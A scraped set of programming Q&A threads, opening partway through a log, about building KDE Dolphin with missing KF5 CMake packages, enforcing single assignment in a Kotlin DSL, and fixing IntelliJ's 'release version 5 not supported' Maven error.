  Could not find a package configuration file provided by "KF5KCMUtils"
  (requested version 5.16.0) with any of the following names:

    KF5KCMUtilsConfig.cmake
    kf5kcmutils-config.cmake

  Add the installation prefix of "KF5KCMUtils" to CMAKE_PREFIX_PATH or set
  "KF5KCMUtils_DIR" to a directory containing one of the above files.  If
  "KF5KCMUtils" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5KCMUtils: found neither KF5KCMUtilsConfig.cmake nor kf5kcmutils-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5NewStuff"
  (requested version 5.16.0) with any of the following names:

    KF5NewStuffConfig.cmake
    kf5newstuff-config.cmake

  Add the installation prefix of "KF5NewStuff" to CMAKE_PREFIX_PATH or set
  "KF5NewStuff_DIR" to a directory containing one of the above files.  If
  "KF5NewStuff" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5NewStuff: found neither KF5NewStuffConfig.cmake nor kf5newstuff-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5CoreAddons"
  (requested version 5.16.0) with any of the following names:

    KF5CoreAddonsConfig.cmake
    kf5coreaddons-config.cmake

  Add the installation prefix of "KF5CoreAddons" to CMAKE_PREFIX_PATH or set
  "KF5CoreAddons_DIR" to a directory containing one of the above files.  If
  "KF5CoreAddons" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5CoreAddons: found neither KF5CoreAddonsConfig.cmake nor kf5coreaddons-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5I18n"
  (requested version 5.16.0) with any of the following names:

    KF5I18nConfig.cmake
    kf5i18n-config.cmake

  Add the installation prefix of "KF5I18n" to CMAKE_PREFIX_PATH or set
  "KF5I18n_DIR" to a directory containing one of the above files.  If
  "KF5I18n" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5I18n: found neither KF5I18nConfig.cmake nor kf5i18n-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5DBusAddons"
  (requested version 5.16.0) with any of the following names:

    KF5DBusAddonsConfig.cmake
    kf5dbusaddons-config.cmake

  Add the installation prefix of "KF5DBusAddons" to CMAKE_PREFIX_PATH or set
  "KF5DBusAddons_DIR" to a directory containing one of the above files.  If
  "KF5DBusAddons" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5DBusAddons: found neither KF5DBusAddonsConfig.cmake nor kf5dbusaddons-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Bookmarks"
  (requested version 5.16.0) with any of the following names:

    KF5BookmarksConfig.cmake
    kf5bookmarks-config.cmake

  Add the installation prefix of "KF5Bookmarks" to CMAKE_PREFIX_PATH or set
  "KF5Bookmarks_DIR" to a directory containing one of the above files.  If
  "KF5Bookmarks" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Bookmarks: found neither KF5BookmarksConfig.cmake nor kf5bookmarks-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Config"
  (requested version 5.16.0) with any of the following names:

    KF5ConfigConfig.cmake
    kf5config-config.cmake

  Add the installation prefix of "KF5Config" to CMAKE_PREFIX_PATH or set
  "KF5Config_DIR" to a directory containing one of the above files.  If
  "KF5Config" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Config: found neither KF5ConfigConfig.cmake nor kf5config-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5KIO" (requested
  version 5.16.0) with any of the following names:

    KF5KIOConfig.cmake
    kf5kio-config.cmake

  Add the installation prefix of "KF5KIO" to CMAKE_PREFIX_PATH or set
  "KF5KIO_DIR" to a directory containing one of the above files.  If "KF5KIO"
  provides a separate development package or SDK, be sure it has been
  installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5KIO: found neither KF5KIOConfig.cmake nor kf5kio-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Parts"
  (requested version 5.16.0) with any of the following names:

    KF5PartsConfig.cmake
    kf5parts-config.cmake

  Add the installation prefix of "KF5Parts" to CMAKE_PREFIX_PATH or set
  "KF5Parts_DIR" to a directory containing one of the above files.  If
  "KF5Parts" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Parts: found neither KF5PartsConfig.cmake nor kf5parts-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Solid"
  (requested version 5.16.0) with any of the following names:

    KF5SolidConfig.cmake
    kf5solid-config.cmake

  Add the installation prefix of "KF5Solid" to CMAKE_PREFIX_PATH or set
  "KF5Solid_DIR" to a directory containing one of the above files.  If
  "KF5Solid" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Solid: found neither KF5SolidConfig.cmake nor kf5solid-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5IconThemes"
  (requested version 5.16.0) with any of the following names:

    KF5IconThemesConfig.cmake
    kf5iconthemes-config.cmake

  Add the installation prefix of "KF5IconThemes" to CMAKE_PREFIX_PATH or set
  "KF5IconThemes_DIR" to a directory containing one of the above files.  If
  "KF5IconThemes" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5IconThemes: found neither KF5IconThemesConfig.cmake nor kf5iconthemes-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Completion"
  (requested version 5.16.0) with any of the following names:

    KF5CompletionConfig.cmake
    kf5completion-config.cmake

  Add the installation prefix of "KF5Completion" to CMAKE_PREFIX_PATH or set
  "KF5Completion_DIR" to a directory containing one of the above files.  If
  "KF5Completion" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Completion: found neither KF5CompletionConfig.cmake nor kf5completion-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5TextWidgets"
  (requested version 5.16.0) with any of the following names:

    KF5TextWidgetsConfig.cmake
    kf5textwidgets-config.cmake

  Add the installation prefix of "KF5TextWidgets" to CMAKE_PREFIX_PATH or set
  "KF5TextWidgets_DIR" to a directory containing one of the above files.  If
  "KF5TextWidgets" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5TextWidgets: found neither KF5TextWidgetsConfig.cmake nor kf5textwidgets-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5WindowSystem"
  (requested version 5.16.0) with any of the following names:

    KF5WindowSystemConfig.cmake
    kf5windowsystem-config.cmake

  Add the installation prefix of "KF5WindowSystem" to CMAKE_PREFIX_PATH or
  set "KF5WindowSystem_DIR" to a directory containing one of the above files.
  If "KF5WindowSystem" provides a separate development package or SDK, be
  sure it has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5WindowSystem: found neither KF5WindowSystemConfig.cmake nor kf5windowsystem-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Notifications"
  (requested version 5.16.0) with any of the following names:

    KF5NotificationsConfig.cmake
    kf5notifications-config.cmake

  Add the installation prefix of "KF5Notifications" to CMAKE_PREFIX_PATH or
  set "KF5Notifications_DIR" to a directory containing one of the above
  files.  If "KF5Notifications" provides a separate development package or
  SDK, be sure it has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Notifications: found neither KF5NotificationsConfig.cmake nor kf5notifications-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Crash"
  (requested version 5.16.0) with any of the following names:

    KF5CrashConfig.cmake
    kf5crash-config.cmake

  Add the installation prefix of "KF5Crash" to CMAKE_PREFIX_PATH or set
  "KF5Crash_DIR" to a directory containing one of the above files.  If
  "KF5Crash" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Crash: found neither KF5CrashConfig.cmake nor kf5crash-config.cmake
CMake Error at /usr/share/cmake-3.0/Modules/FindPackageHandleStandardArgs.cmake:136 (message):
  Could NOT find KF5 (missing: DocTools Init KCMUtils NewStuff CoreAddons
  I18n DBusAddons Bookmarks Config KIO Parts Solid IconThemes Completion
  TextWidgets WindowSystem Notifications Crash) (Required is at least version
  "5.16.0")
Call Stack (most recent call first):
  /usr/share/cmake-3.0/Modules/FindPackageHandleStandardArgs.cmake:343 (_FPHSA_FAILURE_MESSAGE)
  /usr/share/ECM/find-modules/FindKF5.cmake:113 (find_package_handle_standard_args)
  CMakeLists.txt:50 (find_package)

-- Configuring incomplete, errors occurred!
See also "/home/nic/kde/dolphin/build/CMakeFiles/CMakeOutput.log".

It looks like I'm missing the KDE Framework Libs. But I can't seem to find a way to install them on my computer. How should I go about building Dolphin from its source code for development purposes?

Body:
For anyone else looking to fix the CMake errors of the following type:

Could not find a package configuration file provided by "KF5DocTools"
Could not find a package configuration file provided by "KF5Init"
Could not find a package configuration file provided by "KF5KCMUtils"
...

These and similar errors containing "KF5…" indicate that CMake cannot find packages with the KDE5 header files. On Ubuntu, you can install them with:

sudo apt install libkf5*-dev kirigami2-dev


问:
How to enforce usage rules on Custom Kotlin DSL
Im investigating Kotlin DSLs following these examples:-

https://github.com/zsmb13/VillageDSL

Im am interested in how to enforce usage rules on all attributes exposed by the DSL.

Taking the following example:-

```<code>val v = village {
    house {
        person {
            name = "Emily"
            age = 31
        }
         person {
            name = "Jane"
            age = 19
        }
    }
}
</code>```

I would like to enforce a rule which stops users of the DSL being able to enter duplicate attributes as shown below

```<code>val v = village {
    house {
        person {
            name = "Emily"
            name = "Elizabeth"
            age = 31
        }
         person {
            name = "Jane"
            age = 19
            age = 56
        }
    }
}
</code>```

I've tried with Kotlin contracts e.g.

```<code>contract { callsInPlace(block, EXACTLY_ONCE) }
</code>```

However these are only allowed in top level functions and I could not see how to employ a contract when using following the Builder pattern in DSLs, e.g.

```<code>@SimpleDsl1
class PersonBuilder(initialName: String, initialAge: Int) {
    var name: String = initialName
    var age: Int = initialAge

    fun build(): Person {
        return Person(name, age)
    }
}
</code>```

Is it possible to achieve my desired effect of enforcing the setting of each attribute only one per person?

答:
I found a hacky way to do something similar, but then it turned out infix functions won't work here because of this bug. When it does get fixed, this solution should be okay.

You could make your DSL look like this, but unfortunately, your first set call can't be infix :( because then name cannot be smartcasted to SetProperty<*> (see the bug report above).

```<code>val emily = person {
        name.set("Emily")
        name.set("Elizabeth") //Error here
        age.set(31)
        age set 90 //Won't work either
    }
</code>```

The error that pops up (for name.set("Elizabeth")) is:

```<code>Type inference failed: Cannot infer type parameter T in inline infix fun <reified T> Property<T>.set(t: T): Unit
None of the following substitutions
receiver: Property<CapturedTypeConstructor(out Any?)>  arguments: (CapturedTypeConstructor(out Any?))
receiver: Property<String>  arguments: (String)
can be applied to
receiver: UnsetProperty<String>  arguments: (String)
</code>```

The code behind it:

```<code>@OptIn(ExperimentalContracts::class)
infix fun <T> Property<T>.set(t: T){
    contract { returns() implies (this@set is Prop<*>) }
    this.setData(t)
}

interface Property<T> {
    fun data(): T
    fun setData(t: T)
}

interface UnsetProperty<T> : Property<T>

open class SetProperty<T>(val name: String) : Property<T> {
    private var _data: T? = null
    override fun data(): T { return _data ?: throw Error("$name not defined") }
    override fun setData(t: T) {
        if (_data == null) _data = t
        else throw Error("$name already defined")
    }
}

class Prop<T>(name: String = "<unnamed property>") : SetProperty<T>(name), UnsetProperty<T>

class PersonBuilder {
    val name: Property<String> = Prop("name")
    val age: Property<Int> = Prop("age")
    fun build(): Person = Person(name.data(), age.data())
}

fun person(f: PersonBuilder.() -> Unit): Person {
    val builder = PersonBuilder()
    builder.f()
    return builder.build()
}

data class Person(val name: String, val age: Int)
</code>```

I'm not sure exactly why this works/doesn't work, but it seems that because T is invariant in Property, it can't determine what exactly it is.

However, it would be much easier and safer to just use named arguments for your person function and make house, village, etc. have variadic parameters.

Body:
Im investigating Kotlin DSLs following these examples:-

https://github.com/zsmb13/VillageDSL

Im am interested in how to enforce usage rules on all attributes exposed by the DSL.

Taking the following example:-

val v = village {
    house {
        person {
            name = "Emily"
            age = 31
        }
         person {
            name = "Jane"
            age = 19
        }
    }
}

I would like to enforce a rule which stops users of the DSL being able to enter duplicate attributes as shown below

val v = village {
    house {
        person {
            name = "Emily"
            name = "Elizabeth"
            age = 31
        }
         person {
            name = "Jane"
            age = 19
            age = 56
        }
    }
}

I've tried with Kotlin contracts e.g.

contract { callsInPlace(block, EXACTLY_ONCE) }

However these are only allowed in top level functions and I could not see how to employ a contract when using following the Builder pattern in DSLs, e.g.

@SimpleDsl1
class PersonBuilder(initialName: String, initialAge: Int) {
    var name: String = initialName
    var age: Int = initialAge

    fun build(): Person {
        return Person(name, age)
    }
}

Is it possible to achieve my desired effect of enforcing the setting of each attribute only one per person?

Body:
I found a hacky way to do something similar, but then it turned out infix functions won't work here because of this bug. When it does get fixed, this solution should be okay.

You could make your DSL look like this, but unfortunately, your first set call can't be infix :( because then name cannot be smartcasted to SetProperty<*> (see the bug report above).

val emily = person {
        name.set("Emily")
        name.set("Elizabeth") //Error here
        age.set(31)
        age set 90 //Won't work either
    }

The error that pops up (for name.set("Elizabeth")) is:

Type inference failed: Cannot infer type parameter T in inline infix fun <reified T> Property<T>.set(t: T): Unit
None of the following substitutions
receiver: Property<CapturedTypeConstructor(out Any?)>  arguments: (CapturedTypeConstructor(out Any?))
receiver: Property<String>  arguments: (String)
can be applied to
receiver: UnsetProperty<String>  arguments: (String)

The code behind it:

@OptIn(ExperimentalContracts::class)
infix fun <T> Property<T>.set(t: T){
    contract { returns() implies (this@set is Prop<*>) }
    this.setData(t)
}

interface Property<T> {
    fun data(): T
    fun setData(t: T)
}

interface UnsetProperty<T> : Property<T>

open class SetProperty<T>(val name: String) : Property<T> {
    private var _data: T? = null
    override fun data(): T { return _data ?: throw Error("$name not defined") }
    override fun setData(t: T) {
        if (_data == null) _data = t
        else throw Error("$name already defined")
    }
}

class Prop<T>(name: String = "<unnamed property>") : SetProperty<T>(name), UnsetProperty<T>

class PersonBuilder {
    val name: Property<String> = Prop("name")
    val age: Property<Int> = Prop("age")
    fun build(): Person = Person(name.data(), age.data())
}

fun person(f: PersonBuilder.() -> Unit): Person {
    val builder = PersonBuilder()
    builder.f()
    return builder.build()
}

data class Person(val name: String, val age: Int)

I'm not sure exactly why this works/doesn't work, but it seems that because T is invariant in Property, it can't determine what exactly it is.

However, it would be much easier and safer to just use named arguments for your person function and make house, village, etc. have variadic parameters.


问:
IntelliJ: Error:java: error: release version 5 not supported
I'm using IntelliJ IDEA Ultimate 2019.3.1. Whenever I try to start any simple Java Maven project (may it be even a simple Hello World) I get the following error:

```<code>Error:java: error: release version 5 not supported
</code>```

Running java --version by terminal I get the following output:

```<code>openjdk 11.0.5 2019-10-15
OpenJDK Runtime Environment (build 11.0.5+10-post-Ubuntu-0ubuntu1.1)
OpenJDK 64-Bit Server VM (build 11.0.5+10-post-Ubuntu-0ubuntu1.1, mixed mode, sharing)
</code>```

Running javac --version by terminal I get the following output:

```<code>javac 11.0.5
</code>```

Going to the Settings of the Java Compiler ( as suggested here ) I see this:

I tried editing the "Target bytecode version" to 1.8 but I get the following errors:

```<code>Error:(1, 26) java: package javafx.application does not exist
Error:(2, 20) java: package javafx.stage does not exist
Error:(4, 27) java: cannot find symbol
  symbol: class Application
Error:(12, 23) java: cannot find symbol
  symbol:   class Stage
  location: class Main
Error:(7, 9) java: cannot find symbol
  symbol:   method launch(java.lang.String[])
  location: class Main
Error:(11, 5) java: method does not override or implement a method from a supertype
</code>```

Changing it to version 1.11 I get this error instead:

```<code>Error:java: Source option 5 is no longer supported. Use 6 or later.
</code>```

What do you think is the problem? How may I solve it?

答:
The solution to the problem is already defined in some of the answers. But there is still a need to express a detail. The problem is totally related to maven, and the solution is also in the pom.xml configuration. IntelliJ only reads maven configuration, and if the configuration has wrong information, IntelliJ also tries to use that.

To solve the problem, as expressed in the most of the answers, just add the below properties to the pom.xml of the project.

<properties>
      <maven.compiler.source>1.8</maven.compiler.source>
      <maven.compiler.target>1.8</maven.compiler.target>
</properties>
```

After that, on the IntelliJ side, reimport maven configuration. To reimport the maven configuration, right click on pom.xml file of the project and select  Reimport. Compiler version related information in IntelliJ preferences will be automatically updated according to the values in the pom.xml.

Body:
I'm using IntelliJ IDEA Ultimate 2019.3.1. Whenever I try to start any simple Java Maven project (may it be even a simple Hello World) I get the following error:

Error:java: error: release version 5 not supported

Running java --version by terminal I get the following output:

openjdk 11.0.5 2019-10-15
OpenJDK Runtime Environment (build 11.0.5+10-post-Ubuntu-0ubuntu1.1)
OpenJDK 64-Bit Server VM (build 11.0.5+10-post-Ubuntu-0ubuntu1.1, mixed mode, sharing)

Running javac --version by terminal I get the following output:

javac 11.0.5

Going to the Settings of the Java Compiler ( as suggested here ) I see this:

I tried editing the "Target bytecode version" to 1.8 but I get the following errors:

Error:(1, 26) java: package javafx.application does not exist
Error:(2, 20) java: package javafx.stage does not exist
Error:(4, 27) java: cannot find symbol
  symbol: class Application
Error:(12, 23) java: cannot find symbol
  symbol:   class Stage
  location: class Main
Error:(7, 9) java: cannot find symbol
  symbol:   method launch(java.lang.String[])
  location: class Main
Error:(11, 5) java: method does not override or implement a method from a supertype

Changing it to version 1.11 I get this error instead:

Error:java: Source option 5 is no longer supported. Use 6 or later.

What do you think is the problem? How may I solve it?

Body:
The solution to the problem is already defined in some of the answers. But there is still a need to express a detail. The problem is totally related to maven, and the solution is also in the pom.xml configuration. IntelliJ only reads maven configuration, and if the configuration has wrong information, IntelliJ also tries to use that.

To solve the problem, as expressed in the most of the answers, just add the below properties to the pom.xml of the project.

<properties>
      <maven.compiler.source>1.8</maven.compiler.source>
      <maven.compiler.target>1.8</maven.compiler.target>
</properties>

After that, on the IntelliJ side, reimport maven configuration. To reimport the maven configuration, right click on pom.xml file of the project and select  Reimport. Compiler version related information in IntelliJ preferences will be automatically updated according to the values in the pom.xml.